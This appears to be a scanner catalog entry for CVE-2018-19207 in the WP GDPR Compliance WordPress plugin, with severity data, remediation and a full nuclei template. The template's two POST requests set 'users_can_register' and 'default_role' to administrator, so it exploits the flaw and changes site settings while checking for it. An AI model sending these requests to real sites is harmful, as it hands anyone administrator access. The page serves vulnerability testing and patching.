WP GDPR Compliance < 1.4.3 - Unauthenticated Call Any Action or Update Any Option

criticalseverity

9.8CVSS score

88.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

The WP GDPR Compliance plugin allows unauthenticated users to execute any action and update any database value. This vulnerability is due to the lack of proper validation in the Includes/Ajax.php file.

Impact

Unauthenticated attackers can execute any action and update any database value, potentially creating admin accounts, modifying site configuration, or achieving remote code execution.

Fix

Upgrade to WP GDPR Compliance version 1.4.3 or later, or remove the plugin if no longer needed.

How to confirm it

Send: GET {{BaseURL}}/
Send: POST /wp-admin/admin-ajax.php
Positive when: contains in body_2 "\"message\":\"\"" and "\"error\":\"\"" AND contains in content_type_2 "application/json"

Run it with nuclei: nuclei -id CVE-2018-19207 -u <target>

The full check

id: CVE-2018-19207

info:
  name: WP GDPR Compliance < 1.4.3 - Unauthenticated Call Any Action or Update Any Option
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    The WP GDPR Compliance plugin allows unauthenticated users to execute any action and update any database value. This vulnerability is due to the lack of proper validation in the Includes/Ajax.php file.
  impact: |
    Unauthenticated attackers can execute any action and update any database value, potentially creating admin accounts, modifying site configuration, or achieving remote code execution.
  remediation: |
    Upgrade to WP GDPR Compliance version 1.4.3 or later, or remove the plugin if no longer needed.
  reference:
    - https://wpvulndb.com/vulnerabilities/9157
    - https://github.com/aeroot/WP-GDPR-Compliance-Plugin-Exploit
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-19207
    cwe-id: CWE-425
    epss-score: 0.88065
    epss-percentile: 0.99768
    cpe: cpe:2.3:a:van-ons:wp-gdpr-compliance:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: van-ons
    product: wp-gdpr-compliance
    framework: wordpress
    publicwww-query: "wp-content/plugins/wp-gdpr-compliance/"
    verified: true
  tags: cve,cve2018,wordpress,wp-plugin,wp-gdpr-compliance,rce,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    redirects: true

    extractors:
      - type: regex
        name: nonce
        part: body
        regex:
          - 'var wpgdprcData.*"ajaxSecurity":"([a-z0-9]+)"'
        group: 1
        internal: true

  - raw:

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpgdprc_process_action&security={{nonce}}&data={"type":"save_setting","append":false,"option":"users_can_register","value":"1"}

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpgdprc_process_action&security={{nonce}}&data={"type":"save_setting","append":false,"option":"default_role","value":"administrator"}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '"message":""'
          - '"error":""'
        condition: and

      - type: word
        part: content_type_2
        words:
          - 'application/json'

References

Use this check only on systems you are authorised to test. Where the data comes from